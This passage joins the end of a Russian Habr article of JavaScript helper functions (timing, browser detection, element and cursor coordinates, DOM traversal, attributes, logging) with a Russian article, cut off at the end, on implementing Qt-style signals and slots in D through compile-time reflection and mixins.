> [ Game.STG\_LOADING, «loading» ],
>
> [ Game.STG\_MENU, «menu» ],
>
> [ Game.STG\_PROCESS, «process» ],
>
> [ Game.STG\_STOP, «stopping» ]);
>
>
>
> var someGame = new Game();
>
> alert(”You are in “+stateMap.items[someGame.getStage()]+” stage!”);\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
*6.* Три других функции просто упрощают и/или делают очевиднее некоторые операции: `getTime` на 11 символов сокращает доступ к получению **текущего времени**, `getTimeDelta` позволяет найти **промежуток в милисекундах** между отрезками времени (или указанным моментом и текущим временем, в формате с одним параметром), а последняя функция расширяет свойства объекта `Number` для того чтобы **при** его **значении `NaN`** можно было чуть быстрее **получить `0`**.
> function getTime() {
>
> return new Date().getTime();
>
> }
>
>
>
> function getTimeDelta(timeBegin, timeEnd) {
>
> timeEnd = timeEnd || getTime();
>
> return timeEnd — timeBegin;
>
> }
>
>
>
> Number.prototype.NaN0=function() { return isNaN(this)? 0: this; }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
### Определение браузера
*7.* Небольшой объект, поименованные по названиям браузеров свойства которого — суть условия. Этим достигается более читабельное (но не настолько скурпулезное насколько могло бы быть) **определение большинства типов браузеров**. Этот объект был заимствован мной из проекта, в котором я учавствовал — и как-то прижился, но, думаю, истинные авторы всё-таки где-то в сети, да и код не так уж сложен и громоздок чтобы на него сильно претендовать :). Кроме того, он конечно не идеально надежен (а некоторые говорят что не надежен вообще), но пока на перечисленных браузерах он меня не подвел ни разу :). Если вас не устраивает такое положение дел — вы можете использовать нечто похожее с [HowToCreate](http://www.howtocreate.co.uk/jslibs/htmlhigh/sniffer.html). И повторюсь: данное определение я стараюсь использовать (как и сказано, например, по ссылке) *“только в случае если известен конкретный баг в конкретном браузере и его нужно обойти”*. Также — несложно пересобрать этот объект в одно длинное условие, для меньшей скорости исполнения (см., опять же, [ссылку](http://www.howtocreate.co.uk/jslibs/htmlhigh/sniffer.html))
> var USER\_DATA = {
>
> Browser: {
>
> KHTML: /Konqueror|KHTML/.test(navigator.userAgent) &&
>
>
>
> !/Apple/.test(navigator.userAgent),
>
> Safari: /KHTML/.test(navigator.userAgent) &&
>
> /Apple/.test(navigator.userAgent),
>
> Opera: !!window.opera,
>
> MSIE: !!(window.attachEvent && !window.opera),
>
> Gecko: /Gecko/.test(navigator.userAgent) &&
>
> !/Konqueror|KHTML/.test(navigator.userAgent)
>
> },
>
> OS: {
>
> Windows: navigator.platform.indexOf(«Win») > -1,
>
> Mac: navigator.platform.indexOf(«Mac») > -1,
>
> Linux: navigator.platform.indexOf(«Linux») > -1
>
> }
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
### Координаты / Позициионирование
*8.* Набор функций, позволяющих получить **координаты элемента** на экране пользователя. Если ваш документ статичен относительно окна и не имеет скроллбаров — лучше использовать функцию `getPosition` — так будет быстрее. В обратном случае используйте `getAlignedPosition` — она учитывает положения скроллбаров. Только обратите внимание: значение `top` у элемента может быть орицательным, если элемент верхней частью за пределами окна — для синхронизации с курсором мыши иногда нужно обнулить в этом случае высоту. Основной скрипт позаимствован из [одного блога](http://blog.firetree.net/2005/07/04/javascript-find-position/), Aligned-версия — результат поисков по сусекам и совмещения с информацией из [двух](http://xhtml.ru/2007/03/10/advanced-thumbnail-creator/) [статей](http://www.habrahabr.ru/blog/webdev/13897.html) (при обнаружении `DOCTYPE` IE входит в свой собственный, несколько непредсказуемый, режим). Также этот метод скомбинирован с получением позиций из [исходников](http://www.webreference.com/programming/javascript/mk/column2/Dragging%20and%20Dropping%20in%20JavaScript_files/drag_drop.js) [руководства по Drag’n'Drop](http://www.webreference.com/programming/javascript/mk/column2/). Обратите внимание: здесь используется функция `NaN0` из пункта *6*, вам нужно будет добавить ее в скрипт чтобы все работало как надо (спасибо, [Homer](http://invisibleman.ru/)).
> var IS\_IE = USER\_DATA['Browser'].MSIE;
>
>
>
> function getPosition(e){
>
> var left = 0;
>
> var top = 0;
>
>
>
> while (e.offsetParent) {
>
> left += e.offsetLeft + (e.currentStyle?
>
> (parseInt(e.currentStyle.borderLeftWidth)).NaN0(): 0);
>
> top += e.offsetTop + (e.currentStyle?
>
> (parseInt(e.currentStyle.borderTopWidth)).NaN0(): 0);
>
> e = e.offsetParent;
>
> }
>
>
>
> left += e.offsetLeft + (e.currentStyle?
>
> (parseInt(e.currentStyle.borderLeftWidth)).NaN0(): 0);
>
> top += e.offsetTop + (e.currentStyle?
>
> (parseInt(e.currentStyle.borderTopWidth)).NaN0(): 0);
>
>
>
> return {x:left, y:top};
>
> }
>
>
>
> function getAlignedPosition(e) {
>
> var left = 0;
>
> var top = 0;
>
>
>
> while (e.offsetParent) {
>
> left += e.offsetLeft + (e.currentStyle?
>
> (parseInt(e.currentStyle.borderLeftWidth)).NaN0(): 0);
>
> top += e.offsetTop + (e.currentStyle?
>
> (parseInt(e.currentStyle.borderTopWidth)).NaN0(): 0);
>
> e = e.offsetParent;
>
> if (e.scrollLeft) {left -= e.scrollLeft; }
>
> if (e.scrollTop) {top -= e.scrollTop; }
>
> }
>
>
>
> var docBody = document.documentElement?
>
> document.documentElement: document.body;
>
>
>
> left += e.offsetLeft +
>
> (e.currentStyle?
>
> (parseInt(e.currentStyle.borderLeftWidth)).NaN0()
>
> : 0) +
>
> (IS\_IE? (parseInt(docBody.scrollLeft)).NaN0(): 0) — (parseInt(docBody.clientLeft)).NaN0();
>
> top += e.offsetTop +
>
> (e.currentStyle?
>
> (parseInt(e.currentStyle.borderTopWidth)).NaN0()
>
> : 0) +
>
> (IS\_IE? (parseInt(docBody.scrollTop)).NaN0(): 0) — (parseInt(docBody.clientTop)).NaN0();
>
>
>
> return {x:left, y:top};
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
*9.* Определить текущие **координаты курсора** мыши и **смещение элемента относительно курсора** легко, если использовать соответствующие функции:
> function mouseCoords(ev) {
>
> if (ev.pageX || ev.pageY) {
>
> return {x:ev.pageX, y:ev.pageY};
>
> }
>
>
>
> var docBody = document.documentElement
>
> ? document.documentElement
>
> : document.body;
>
>
>
> return {
>
> x: ev.clientX + docBody.scrollLeft — docBody.clientLeft,
>
> y: ev.clientY + docBody.scrollTop - docBody.clientTop
>
> };
>
> }
>
>
>
> function getMouseOffset(target, ev, aligned) {
>
> ev = ev || window.event;
>
> if (aligned == null) aligned = false;
>
>
>
> var docPos = aligned
>
> ? getAlignedPosition(target)
>
> : getPosition(target);
>
> var mousePos = mouseCoords(ev);
>
>
>
> return {
>
> x: mousePos.x — docPos.x,
>
> y: mousePos.y — docPos.y
>
> };
>
> }
>
> \* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
Последняя функция также может использоваться в двух режимах засчет атрибута `aligned` и предназначена для удобного использования в обработчиках событий, например:
> function onMouseMove(elm, ev) {
>
> var mouseOffset = getMouseOffset(elm, ev);
>
> console.log(«x: %d; y: %d», mouseOffset.x, mouseOffset.y);
>
> }
>
> ...
>
> «someId» onmousemove=«onMouseMove(this, event);
>
> return false;»>
\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
*10.* Определение **высоты элемента** иногда более нелегкая задача чем определение других его параметров, но эти две функции придут на помощь:
> function findOffsetHeight(e) {
>
> var res = 0;
>
> while ((res == 0) && e.parentNode) {
>
> e = e.parentNode;
>
> res = e.offsetHeight;
>
> }
>
> return res;
>
> }
>
>
>
> function getOffsetHeight(e) {
>
> return this.element.offsetHeight ||
>
> this.element.style.pixelHeight ||
>
> findOffsetHeight(e);
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
### DOM
*11.* Иногда нужно **пройти рекурсивно по дереву DOM**, начиная с некоторого элемента и выполняя некоторую функцию над каждым из потомков, забираясь в самую глубь. В DOM есть объект `TreeWalker`, но он не работает в IE и не всегда удобен/прост в использовании. Функция `walkTree` позволяет выполнить некоторую другую функцию над каждым из элементов и позволяет также передать в нее некоторый пакет данных. Функция `searchTree` отличается от нее тем, что останавливает проход по дереву при первом удачном результате и возвращает результат в точку вызова:
> function walkTree(node, mapFunction, dataPackage) {
>
> if (node == null) return;
>
> mapFunction(node, dataPackage);
>
> for (var i = 0; i < node.childNodes.length; i++) {
>
> walkTree(node.childNodes[i], mapFunction, dataPackage);
>
> }
>
> }
>
>
>
> function searchTree(node, searchFunction, dataPackage) {
>
> if (node == null) return;
>
> var funcResult = searchFunction(node, dataPackage);
>
> if (funcResult) return funcResult;
>
> for (var i = 0; i < node.childNodes.length; i++) {
>
> var searchResult = searchTree(node.childNodes[i],
>
> searchFunction, dataPackage);
>
> if (searchResult) return searchResult;
>
> }
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
В примере используются функции `setElmAttr` и `getElmAttr`, которые будут рассмотрены позже — в пункте *13*. По сути они делают то же что и `getAttribute` и `setAttribute`. Пояснения к используемой функции `oc` вы можете посмотреть в пукте *4*. В первой части примера корневому элементу атрибут “nodeType” устанавливается в “root”, а всем его потомкам — в “child”. Во второй части демонстрируется также передача пакета данных — при нахождении первого элемента с атрибутом “class”, равным одному из перечисленных в пакете имен, атрибут “isTarget” ему устанавливается в “true”.
> var rootElement = document.getElementById('rootElm');
>
>
>
> setElmAttr(rootElement, «nodeType», «root»);
>
> var childNodeFunc = function(node) {
>
> if (node.nodeName && (node.nodeName !== '#text')
>
> && (node.nodeName !== '#comment')) {
>
> setElmAttr(node, «nodeType», «child»);
>
> }
>
> }
>
> walkTree(rootElement, childNodeFunc);
>
>
>
> var findTargetNode = function(node, classList) {
>
> if ((node.nodeName && (node.nodeName !== '#text')
>
> && (node.nodeName !== '#comment')) &&
>
> (getElmAttr(node, «class») in oc(classList))) {
>
> return node;
>
> }
>
> }
>
> var targetNode = searchTree(rootElement, findTargetNode,
>
> ['headingClass', 'footerClass', 'tableClass']);
>
> setElmAttr(targetNode, “isTarget”, true);\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
**NB!** (будьте осторожны с использованием этих функций и постарайтесь избежать их чересчур частого вызова (более раза в секунду) даже на средней ветвистости дереве — они могут пожрать немало ресурсов. или, по крайней мере, вызывайте их в фоне через `setTimeout`)
*12.* **Удаление узлов** — иногда необходимая задача. Иногда нужно удалить сам узел, а иногда — только его потомков. Функция `removeChildrenRecursively` рекурсивно удаляет всех потомков указанного узла, не затрагивая, конечно, его самого. Функция `removeElementById`, как и сказано в названии, удалает узел по его `id` — при всей простоте задачи способ относительно хитрый:
> function removeChildrenRecursively(node)
>
> {
>
> if (!node) return;
>
> while (node.hasChildNodes()) {
>
> removeChildrenRecursively(node.firstChild);
>
> node.removeChild(node.firstChild);
>
> }
>
> }
>
>
>
> function removeElementById(nodeId) {
>
> document.getElementById(nodeId).parentNode.removeChild(
>
> document.getElementById(nodeId));
>
> }
>
> \* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
*13.* Казалось бы — элементарная задача **работы с атрибутами элемента** — иногда наталкивает на абсолютно неожиданные проблемы: например, IE бросает исключение при попытке доступа к атрибутам высоты/ширины элемента `table`, а у Safari отличается способ доступа к атрибутам с пространствами имен. Приведенные ниже функции обходят все встреченные мной проблемы без сильного ущерба к скорости выполнения (конечно же, в стандартных случаях лучше использовать встроенные функции):
> var IS\_SAFARI = USER\_DATA['Browser'].Safari;
>
>
>
> function getElmAttr(elm, attrName, ns) {
>
> // IE6 fails getAttribute when used on table element
>
> var elmValue = null;
>
> try {
>
> elmValue = (elm.getAttribute
>
> ? elm.getAttribute((ns? (ns + NS\_SYMB): ”)
>
> + attrName): null);
>
> } catch (e) { return null; }
>
> if (!elmValue && IS\_SAFARI) {
>
> elmValue = (elm.getAttributeNS
>
> ? elm.getAttributeNS(ns, attrName)
>
> : null);
>
> }
>
> return elmValue;
>
> }
>
>
>
> function setElmAttr(elm, attrName, value, ns) {
>
> if (!IS\_SAFARI || !ns) {
>
> return (elm.setAttribute
>
> ? elm.setAttribute((ns? (ns + NS\_SYMB): ”)
>
> + attrName, value): null);
>
> } else {
>
> return (elm.setAttributeNS
>
> ? elm.setAttributeNS(ns, attrName, value)
>
> : null);
>
> }
>
> }
>
>
>
> function remElmAttr(elm, attrName, ns) {
>
> if (!IS\_SAFARI || !ns) {
>
> return (elm.removeAttribute
>
> ? elm.removeAttribute((ns? (ns + NS\_SYMB): ”)
>
> + attrName): null);
>
> } else {
>
> return (elm.removeAttributeNS
>
> ? elm.removeAttributeNS(ns, attrName)
>
> : null);
>
> }
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
### Логгинг
*14.* Представленная ниже функция для помощи в **ведении логов** очень проста, добавьте в нужное место в документе элемент , задайте ему необходимую высоту, и в него будет сбрасываться информация + обеспечиваться ее скроллинг:
> function LOG(informerName, text) {
>
> var logElement = document.getElementById('LOG\_DIV');
>
> if (logElement) {
>
> logElement.appendChild(document.createTextNode(
>
> informerName + ': ' + text));
>
> logElement.appendChild(document.createElement('br'));
>
> logElement.scrollTop += 50;
>
> }
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
*15.* В замечательном плагине [Firebug](http://www.getfirebug.com/) для браузера Firefox есть замечательная **консоль**, в которую с широкими возможностями можно [производить логгинг](http://www.getfirebug.com/console.html). Однако, если вы отлаживаете параллельно код в других браузерах — обращения к ней могут вызывать ошибки. Для того чтобы не очищать каждый раз код от логов, можно использовать такую заглушку:
> var Console = Class.extend({
>
> // the stub class to allow using console when browser have it,
>
> // if not — just pass all calls
>
> construct: function() {},
>
> log: function() { },
>
> info: function() { },
>
> warn: function() { },
>
> error: function() { }
>
> });
>
>
>
> if (!window.console) {
>
> console = new Console();
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
**UPD:** Поправил ссылки на Source Code Highlighter, спасибо. | https://habr.com/ru/post/28325/ | null | ru | null |
# Compile-time рефлексия D, практика
Доброго времени суток, хабр!
В прошлой [статье](http://habrahabr.ru/post/261349/) были рассмотренны базовые элементы compile-time рефлексии, те кирпичики, из которых строят «настоящие» метаконструкции. В этой статье я хочу показать некоторые такие приёмы. Попробуем реализовать сигналы и слоты, похожие на те, что в Qt, будет примерно так:
```
class Foo : XObject
{
@signal
void message( string str );
}
class Bar : XObject
{
@slot
void print( string str ) { writefln( "Bar.print: %s", str ); }
}
void main()
{
auto a = new Foo, b = new Bar;
connect( a.message, b.print );
a.message( "hello habr" ); // Bar.print: hello habr
}
```
Осторожно: много кода (с комментами).
Примерно, но не так =) Но по большему счёту не хуже, на всё есть свои причины, мы о них поговорим. Конечный вариант:
```
class Foo : XObject
{
mixin MixX; // нам нужно вставлять некоторый код, без mixin не обойтись
@signal
void _message( string str ) {} // досадное правило, см ниже
}
class Bar : XObject
{
mixin MixX;
// не вижу смысла в атрибуте slot, так как это по сути просто любой метод
void print( string str ) { writefln( "Bar.print: %s", str ); }
}
void main()
{
auto a = new Foo, b = new Bar;
connect( a.signal_message, &b.print ); // об этом позже
a.message( "hello habr" ); // Bar.print: hello habr
}
```
[Досадное правило](http://forum.dlang.org/post/ndyrxwkbdofmaxzwuqbb@forum.dlang.org) гласит, что если функция была объявлена через mixin и имеется такая же, но простая (обычно объявленная), то функция объявленная через mixin заменяется простой полностью, даже если у простой нет тела. Из-за этого нужно объявлять по сути другую функцию с телом.
Теперь начнём по порядку. Первым делом нужно осознать, что подход с массивом делегатов «не очень». Конечно всё сильно зависит от задачи. В нашем случае будем считать, что есть несколько небольших требований:
1. любой объект может быть валидным и нет
2. можно перевести объект в невалидное состояние (после создания он валиден)
3. у объекта могут быть дочерние объекты
4. если родитель перестаёт быть валидным дочерние тоже перестают таковыми быть
5. вызов слотов не валидного объекта производиться не должен (не будет иметь смысла)
По логике дочерние объекты целиком и полностью принадлежат родителю.
В D объекты классов управляются сборщиком, вызов деструктора происходит при сборке мусора либо с помощью функции destroy(obj). Так же есть один момент: управлять памятью при сборке мусора нельзя. Из-за этого мы не можем убрать из какого-либо списка уничтожаемый объект, да и сборщик сам не будет ничего делать пока объект в таком списке. Рассматривая начальные требования и мысль о сборщике приходим к выводу, что нужна концепция ContextHandler. Это будет наш базовый интерфейс.
**Не полный, но достаточный для понимания, код ContextHandler**
```
interface ContextHandler
{
protected:
void selfDestroyCtx(); // девалидация самого объекта
public:
@property
{
ContextHandler parentCH(); // указатель на родителя
ContextHandler[] childCH(); // список дочерних
}
final
{
T registerCH(T)( T obj, bool force=true ) // можно зарегистрировать объект как дочерний
if( is( T == class ) )
{
if( auto ch = cast(ContextHandler)obj )
if( force || ( !force && ch.parentCH is null ) ) // force - даже при наличии родителя у obj сменять на себя
...
return obj;
}
T newCH(T,Args...)( Args args ) { return registerCH( new T(args) ); } // либо сразу создать
void destroyCtx() // ради этого метода всё и затеяно
{
foreach( c; childCH ) // делаем не валидными дочерние объекты
c.destroyCtx();
selfDestroyCtx(); // потом себя
}
}
}
```
По сути это дерево. При девалидации объекта, он делает то же самое с дочерними. Вернёмся к нему позже.
Следующие концепции относятся к понятию «слот». Хоть мы и не создали для слотов отдельный UDA, создать как таковой слот имеет смысл.
```
interface SignalConnector // безшаблонный слот
{
void disconnect( SlotContext );
void disonnectAll();
}
class SlotContext : ContextHandler // каждый слот имеет тот самый контекст, который может стать невалидным
{
mixin MixContextHandler; // ContextHandler имеет mixin template для простой его реализации
protected:
size_t[SignalConnector] signals; // все сигналы, с которыми соединён слот
public:
void connect( SignalConnector sc ) { signals[sc]++; }
void disconnect( SignalConnector sc )
{
if( sc in signals )
{
if( signals[sc] > 0 ) signals[sc]--;
else signals.remove(sc);
}
}
protected:
void selfDestroyCtx() // при разрушении контекста разъединяем все соединённые сигналы
{
foreach( sig, count; signals )
sig.disconnect(this);
}
}
// просто для удобства
interface SlotHandler { SlotContext slotContext() @property; }
class Slot(Args...) // как таковой слот
{
protected:
Func func; // функция
SlotContext ctrl; // контекст
public:
alias Func = void delegate(Args);
this( SlotContext ctrl, Func func ) { this.ctrl = ctrl; this.func = func; }
this( SlotHandler hndl, Func func ) { this( hndl.slotContext, func ); }
void opCall( Args args ) { func( args ); }
SlotContext context() @property { return ctrl; }
}
```
Сразу рассмотрим сигнал
```
class Signal(Args...) : SignalConnector, ContextHandler
{
mixin MixContextHandler;
protected:
alias TSlot = Slot!Args;
TSlot[] slots; // всё соединённые слоты
public:
TSlot connect( TSlot s )
{
if( !connected(s) )
{
slots ~= s;
s.context.connect(this);
}
return s;
}
void disconnect( TSlot s ) // можно разъединить
{
slots = slots.filter!(a=>a !is s).array;
s.context.disconnect(this);
}
void disconnect( SlotContext sc ) // даже сразу весь контекст
{
foreach( s; slots.map!(a=>a.context).filter!(a=> a is sc) )
s.disconnect(this);
slots = slots
.map!(a=>tuple(a,a.context))
.filter!(a=> a[1] !is sc)
.map!(a=>a[0])
.array;
}
void disconnect( SlotHandler sh ) { disconnect( sh.slotContext ); }
void disonnectAll() // или сразу все слоты
{
slots = [];
foreach( s; slots ) s.context.disconnect( this );
}
// вызов сигнала ведёт за собой вызов всех слотов
void opCall( Args args ) { foreach( s; slots ) s(args); }
protected:
bool connected( TSlot s ) { return canFind(slots,s); }
void selfDestroyCtx() { disonnectAll(); } // так же разъединяем все связи при разрушении
}
```
И, наконец, мы подобрались к самому интересному: интерфейсу XBase и промежуточному классу XObject (вставляется MixX и создаётся конструктор по умолчанию). Интерфейс XBase расширяет ContextHandler всего парой функций, самое важное это mixin template MixX. В нём как раз и происходит вся магия метапрограммирования. Сначала следует объяснить логику всех действий. UDA @signal помечает функции, которые должны стать основой для создания настоящих сигнальных функций и самих объектов сигналов. От помеченных функций берётся почти всё: имя (без начального нижнего подчёркивания), уровень доступа (public, protected) и, конечно же, аргументы. Из атрибутов разрешён только @ system, так как мы хотим, чтобы сигналы могли работать с любыми слотами. Настоящая функция-сигнал вызывает opCall соответствующего сигнального объекта, передавая все агрументы. Чтобы не создавать все сигнальные объекты в каждом новом классе, мы реализуем в MixX функцию, которая это делает за нас. Зачем создавать отдельно функцию-сигнал и сигнальный объект? Для того, чтобы сигнал был функцие, как ни странно. Это позволит реализовывать интерфейсы в класссе, наследующем XObject или реализующим XBase, а так же соединять сигналы с вызовом других сигналов:
```
interface Messager { void onMessage( string ); }
class Drawable { abstract void onDraw(); } // сигнальными могут стать только абстрактные методы
class A : Drawable, XBase
{
mixin MixX;
this() { prepareXBase(); } // создаём всё необходимое
@signal void _onDraw() {}
}
class B : A, Messager
{
mixin MixX;
@signal void _onMessage( string msg ) {}
}
class Printer : XObject
{
mixin MixX;
void print( string msg ) { }
}
auto a = new B;
auto b = new B;
auto p = new Printer;
connect( a.signal_onMessage, &b.onMessage ); // соединяем сигнал с сигналом
connect( &p.print, b.signal_onMessage ); // функцию connect разберём в самом конце
...
```
Вернёмся к XBase. Будем разбирать код по частям:
```
interface XBase : SlotHandler, ContextHandler
{
public:
enum signal; // не существующие идентификаторы нельзя использовать в UDA, поэтому объявим просто enum
protected:
void createSlotContext();
void createSignals();
final void prepareXBase() // эта функция должна вызываться в конструкторе класса, реализующего XBase
{
createSlotContext();
createSignals();
}
// XBase расширяет и SlotHandler, по этому может быть основой для создания слотов
final auto newSlot(Args...)( void delegate(Args) f ) { return newCH!(Slot!Args)( this, f ); }
// можно сразу соединить делегат с сигналом, возлагая ответственность на объект, у которого был вызван этот метод
final auto connect(Args...)( Signal!Args sig, void delegate(Args) f )
{
auto ret = newSlot!Args(f);
sig.connect( ret );
return ret;
}
mixin template MixX()
{
import std.traits;
// воспользуемся приёмом из С++, так как mixin template не модуль, можно и конфликты словить
static if( !is(typeof(X_BASE_IMPL)) )
{
enum X_BASE_IMPL = true;
mixin MixContextHandler; // вставляем реализацию ContextHandler
// реализуем SlotHandler
private SlotContext __slot_context;
final
{
public SlotContext slotContext() @property { return __slot_context; }
protected void createSlotContext() { __slot_context = newCH!SlotContext; }
}
}
// а этот код уже будет вставляться каждый раз
mixin defineSignals; // здесь собираются все сигнальные функции и объекты
override protected
{
// если createSignal ещё абстрактная функция, значит этот код вставляется впервый раз
static if( isAbstractFunction!createSignals )
void createSignals() { mixin( mix.createSignalsMixinString!(typeof(this)) ); }
else // иначе, мы должны в ней вызвать createSignals для базового класса
void createSignals()
{
super.createSignals();
// mix.createSignalsMixinString собирает все сигналы из типа и возвращает строку, в которой эти сигналы уже создаются
mixin( mix.createSignalsMixinString!(typeof(this)) );
}
}
}
...
}
```
Стоит сразу оговориться, что mix это структура, в которой сконцентрированы все методы работы со строками. Возможно это не самое удачное решение, но оно позволяет сократить объём имён, попадаемых в конечный класс, при этом содержать всё в нужном месте (в интерфейсе XBase). И раз уж заговорили, рассмотрим эту структуру.
```
static struct __MixHelper
{
import std.algorithm, std.array;
enum NAME_RULE = "must starts with '_'";
static pure @safe:
// имена шаблонов для сигналов могут начинаться только с нижнего подчёркивания
bool testName( string s ) { return s[0] == '_'; }
string getMixName( string s ) { return s[1..$]; }
// в этой функции происходит формирование строк, создающих сигнальный объект и функцию-сигнал
string signalMixinString(T,alias temp)() @property
{
...
}
// имена сигнальных объектов начинаются с такого префикса
enum signal_prefix = "signal_";
// формирование строки для миксина в createSignals
string createSignalsMixinString(T)() @property
{
auto signals = [ __traits(derivedMembers,T) ]
.filter!(a=>a.startsWith(signal_prefix)); // отбираем только те имена, которые начинаются на нужный нам префикс
/+ если вы используете префикс signal_ в своём классе для других объектов
+ Вам следует профильтровать список ещё раз с проверкой на тип
+/
return signals
.map!(a=>format("%1$s = newCH!(typeof(%1$s));",a)) // signal_onSomething = newCH!(typeof(signal_onSomething);
.join("\n");
// при создании сигналов, они добавляются как дочерние к объекту
}
// служебная функция для вывода ошибок
template functionFmt(alias fun) if( isSomeFunction!fun )
{
enum functionFmt = format( "%s %s%s",
(ReturnType!fun).stringof, // берём возвращаемый тип функции
__traits(identifier,fun), // её имя
(ParameterTypeTuple!fun).stringof ); // и список параметров
}
}
protected enum mix = __MixHelper.init;
```
Вернёмся к MixX, в нём самым сложным будет непреметный mixin defineSignals.
```
// в нём мы получаем все функции с атрибутом @signal и передаём в defineSignalsImpl
mixin template defineSignals() { mixin defineSignalsImpl!( typeof(this), getFunctionsWithAttrib!( typeof(this), signal ) ); }
// немного функциональщины, но иначе такой список не обработать (список функций как таковых, а не имён)
mixin template defineSignalsImpl(T,list...)
{
static if( list.length == 0 ) {} // когда пусто
else static if( list.length > 1 )
{
// "разделяй и властвуй"
mixin defineSignalsImpl!(T,list[0..$/2]);
mixin defineSignalsImpl!(T,list[$/2..$]);
}
else mixin( mix.signalMixinString!(T,list[0]) ); // вставляем строки, объявляющие сигнальные функцию и объект
}
```
Шаблон getFunctionsWithAttrib и mix.signalMixinString примерно равносильны по сложности, но сначала рассмотрим mix.signalMixinString, так как при рассказе про \_\_MixHelper я её вырезал:
```
string signalMixinString(T,alias temp)() @property
{
enum temp_name = __traits(identifier,temp); // получаем имя функции-шаблона для сигнала
enum func_name = mix.getMixName( temp_name ); // получаем имя уже сигнальной функции
// для функций-шаблонов разрешён только атрибут @system
enum temp_attribs = sort([__traits(getFunctionAttributes,temp)]).array;
static assert( temp_attribs == ["@system"],
format( "fail Mix X for '%s': template signal function allows only @system attrib", T.stringof ) );
// нужно проверить, не объявлена ли функция с таким же именем
static if( __traits(hasMember,T,func_name) )
{
alias base = AT!(__traits(getMember,T,func_name)); // рассмотрим её ближе
// она должна быть абстрактной
static assert( isAbstractFunction!base,
format( "fail Mix X for '%s': target signal function '%s' must be abstract in base class",
T.stringof, func_name ) );
// и так же может иметь только атрибут @system
enum base_attribs = sort([__traits(getFunctionAttributes,base)]).array;
static assert( temp_attribs == ["@system"],
format( "fail Mix X for '%s': target signal function allows only @system attrib", T.stringof ) );
enum need_override = true;
}
else enum need_override = false;
enum signal_name = signal_prefix ~ func_name;
// помимо объявлений сигналов ещё создаётся alias на кортеж типов параметров сигнала, так проще потом вызывать сигнал
enum args_define = format( "alias %sArgs = ParameterTypeTuple!%s;", func_name, temp_name );
enum temp_protection = __traits(getProtection,temp);
// формируем объявление сигнального объекта с той же доступностью, что и функция-шаблон
enum signal_define = format( "%s Signal!(%sArgs) %s;", temp_protection, func_name, signal_name );
// формируем объявление сигнальной функции сразу с телом, в нём вызываем opCall сигнального объекта
enum func_impl = format( "final %1$s %2$s void %3$s(%3$sArgs args) { %4$s(args); }",
(need_override ? "override" : ""), temp_protection, func_name, signal_name );
// не знаю зачем (всё равно результат никто не увидит), но форматируем в несколько строк
return [args_define, signal_define, func_impl].join("\n");
}
```
Вернёмся к получению списка помеченных функций.
```
template getFunctionsWithAttrib(T, Attr)
{
// **ВАЖНО**: мы берём только те поля и методы, что объявлены конкретно в классе T
// как раз по этому нам нужно вызывать создание сигналов базового объекта
alias getFunctionsWithAttrib = impl!( __traits(derivedMembers,T) );
enum AttrName = __traits(identifier,Attr);
// в std.typetuple есть функции, облегчающие работу с кортежами типов
// такой шаблон можно использовать в staticMap и/или anySatisfy
template isAttr(A) { template isAttr(T) { enum isAttr = __traits(isSame,T,A); } }
// и опять функциональный стиль
template impl( names... )
{
alias empty = TypeTuple!();
static if( names.length == 1 )
{
enum name = names[0];
// не для всего, что возвращает __traits(derivedMembers,T) можно создать alias,
// например некое this не является полем, поэтому его нельзя получить
static if( __traits(compiles, { alias member = AT!(__traits(getMember,T,name)); } ) )
{
// единственный неудобный момент: нельзя напрямую написать alias some = __traits(...)
// поэтому используется такой хак template AT(alias T) { alias AT = T; }
alias member = AT!(__traits(getMember,T,name));
// та же ситуация, но здесь уже не одно значение
alias attribs = TypeTuple!(__traits(getAttributes,member));
// если хоть один атрибут является нужным нам
static if( anySatisfy!( isAttr!Attr, attribs ) )
{
enum RULE = format( "%s must be a void function", AttrName );
// проверяем функция ли это вообще
static assert( isSomeFunction!member,
format( "fail mix X for '%s': %s, found '%s %s' with @%s attrib",
T.stringof, RULE, typeof(member).stringof, name, AttrName ) );
// функции-сигналы могут быть только void
static assert( is( ReturnType!member == void ),
format( "fail mix X for '%s': %s, found '%s' with @%s attrib",
T.stringof, RULE, mix.functionFmt!member, AttrName ) );
// имя функции-шаблона должно начинаться с _
static assert( mix.testName( name ),
format( "fail mix X for '%s': @%s name %s",
T.stringof, mix.functionFmt!member, AttrName, mix.NAME_RULE ) );
alias impl = member; // наконец мы можем "вернуть" результат
}
else alias impl = empty;
}
else alias impl = empty;
}
else alias impl = TypeTuple!( impl!(names[0..$/2]), impl!(names[$/2..$]) );
}
}
```
Проверок можно вставить и больше, в зависимости от задачи.
Осталось рассмотреть функцию connect. Она достаточно странно выглядит на фоне метапрограммирования:
```
void connect(T,Args...)( Signal!Args sig, T delegate(Args) slot )
{
auto slot_handler = cast(XBase)cast(Object)(slot.ptr); // по сути это грязный хак
enforce( slot_handler, "slot context is not XBase" );
// так как слотом может быть любая функия мы будем просто игнорировать результат, если функция не void
static if( is(T==void) ) slot_handler.connect( sig, slot );
else slot_handler.connect( sig, (Args args){ slot(args); } );
}
void connect(T,Args...)( T delegate(Args) slot, Signal!Args sig ) { connect( sig, slot ); }
```
Почему я не сделал такой хак и для сигнала? Например, чтобы можно было вызывать connect как в начале статьи:
```
connect( a.message, b.print );
```
Во-первых, в таком случае нужно зафиксировать порядок следования сигнала и слота, что по хорошему стоило бы отразить в имени. Но самая важная причина: так сделать не получится. Такая форма
```
void connect!(alias sig, alias slot)() ...
```
не позволяет сохранить контекст, alias передаёт по сути Class.method где Class это имя класса, а не объект. И нужно вводить доп. проверку на соответствие агрументов сигнала и слота. А форма с делегатами
```
void connect(T,Args...)( void delegate(Args) sig, T delegate(Args) slot ) { ... }
// для такого вызова
connect( &a.message, &b.print );
```
